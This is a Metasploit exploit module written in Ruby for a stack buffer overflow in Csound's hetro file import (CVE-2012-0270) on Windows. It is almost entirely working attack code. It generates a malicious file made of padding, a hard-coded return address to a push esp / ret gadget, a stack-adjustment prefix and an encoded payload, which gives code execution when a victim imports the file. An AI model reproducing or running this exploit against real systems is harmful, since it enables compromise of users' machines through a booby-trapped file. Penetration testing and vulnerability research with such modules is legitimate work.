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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::FILEFORMAT
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Csound hetro File Handling Stack Buffer Overflow',
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        'Description' => %q{
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          This module exploits a buffer overflow in Csound before 5.16.6.
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          The overflow occurs when trying to import a malicious hetro file
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          from tabular format.
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          In order to achieve exploitation the user should import the malicious
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          file through csound with a command like "csound -U het_import msf.csd file.het".
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          This exploit doesn't work if the "het_import" command is used directly
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          to convert the file.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Secunia', # Vulnerability discovery
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          'juan vazquez' # Metasploit module
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        ],
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        'References' => [
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          [ 'CVE', '2012-0270' ],
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          [ 'OSVDB', '79491' ],
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          [ 'BID', '52144' ],
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          [ 'URL', 'http://web.archive.org/web/20120514124556/http://secunia.com/secunia_research/2012-3/' ],
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          [ 'URL', 'http://csound.git.sourceforge.net/git/gitweb.cgi?p=csound/csound5.git;a=commit;h=7d617a9551fb6c552ba16874b71266fcd90f3a6f']
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        ],
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        'Payload' => {
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          'Space' => 650,
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          'BadChars' => "\x00\x0a\x1a\x2c\xff",
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          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment # add esp, -3500
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          'DisableNops' => true
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [
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            'Csound 5.15 / Windows XP SP3 / Windows 7 SP1',
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            {
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              'Offset' => 132,
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              'Ret' => 0x6e955446 # push esp #  ret / libgcc_s_dw2-1.dll
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            }
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          ],
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        ],
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        'Privileged' => false,
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2012-02-23',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('FILENAME', [ false, 'The file name.', 'msf.csd']),
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      ]
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    )
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  end
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  def exploit
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    sploit = rand_text(target['Offset'])
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    sploit << [target.ret].pack("V")
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    sploit << payload.encoded
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    print_status("Creating '#{datastore['FILENAME']}' file ...")
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    file_create(sploit)
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  end
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end
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